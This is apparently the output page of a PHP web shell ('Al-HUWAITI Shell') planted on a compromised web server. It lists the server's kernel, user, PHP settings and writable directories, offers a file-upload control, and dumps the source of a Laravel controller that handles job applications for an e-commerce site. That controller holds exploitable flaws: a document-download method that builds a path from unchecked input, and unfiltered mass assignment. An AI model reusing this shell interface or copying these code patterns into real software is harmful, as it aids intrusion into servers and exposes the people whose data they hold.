Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/app/Http/Controllers/Shop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/app/Http/Controllers/Shop/CareerController.php
<?php

namespace App\Http\Controllers\Shop;

use App\Models\Career;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;

class CareerController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $careers = Career::orderBy('id', 'DESC')
                        ->paginate(10);

        return view('backend.career.index')
                ->with('careers', $careers);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     *
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $this->validate(
            $request,
            [
                'name' => 'required|string',
                'email' => 'required|string|email',
                'phone' => 'required|string',
                'qualification' => 'required|string',
                'resume' => 'required',
                'cover_letter' => 'sometimes',
            ]
        );

        $data = $request->all();
        $career = Career::create($data);

        if ($career) {
            $path = "career/{$career->id}/";
            $disk = Storage::disk('local');

            $documents = [
                'resume' => [],
                'cover_letter' => [],
            ];

            if ($request->file('resume')) {
                $saveAs = 'resume' . md5(uniqid(true));
                $file = $request->file('resume');

                if ($file->getClientOriginalExtension() === 'pdf') {
                    $documents['resume'] = [
                        'saveAs' => "{$saveAs}.".$file->getClientOriginalExtension(),
                        'originalFile' => $file->getClientOriginalName(),
                    ];

                    $disk->putFileAs(
                        $path,
                        $file,
                        $documents['resume']['saveAs']
                    );
                }
            }

            if ($request->file('cover_letter')) {
                $saveAs = 'cover_letter' . md5(uniqid(true));
                $file = $request->file('cover_letter');

                if ($file->getClientOriginalExtension() === 'pdf') {
                    $documents['cover_letter'] = [
                        'saveAs' => "{$saveAs}.".$file->getClientOriginalExtension(),
                        'originalFile' => $file->getClientOriginalName(),
                    ];

                    $disk->putFileAs(
                        $path,
                        $file,
                        $documents['cover_letter']['saveAs']
                    );
                }
            }

            $career->update(['documents' => $documents]);

            return redirect()
                    ->to(url()->previous())
                    ->with('success', 'Application successfully sent!');
        }

        return redirect()
                ->to(url()->previous())
                ->with('error', 'Error occurred while submitting data');
    }

    public function csv(Request $request)
    {
        $careers = Career::all();

        $headers = [
            'Content-Encoding' => 'UTF-8',
            'Content-type' => 'text/csv; charset=UTF-8',
            'Content-Disposition' => "attachment; filename=etiqa-career.csv",
            'Pragma' => 'no-cache',
            'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0',
            'Expires' => '0',
        ];

        return response()->stream(function () use ($careers) {
            $file = fopen('php://output', 'w');
            fprintf($file, chr(0xEF) . chr(0xBB) . chr(0xBF));
            fputcsv($file, array_keys($careers->first()->toCsv()));

            foreach ($careers as $career) {
                fputcsv($file, $career->toCsv());
            }

            fclose($file);
        }, 200, $headers);
    }

    public function downloadDocument(Request $request)
    {
        $career = Career::findOrFail($request->input('career_id'));
        $doc = $request->input('name');
        $fullPath = "career/{$career->id}/{$doc}";
        $content = Storage::disk('local')->get($fullPath);

        return response()
            ->stream(
                function () use ($content) {
                    echo $content;
                },
                200,
                ['Content-Type' => 'application/pdf']
            );
    }
}

Al-HUWAITI Shell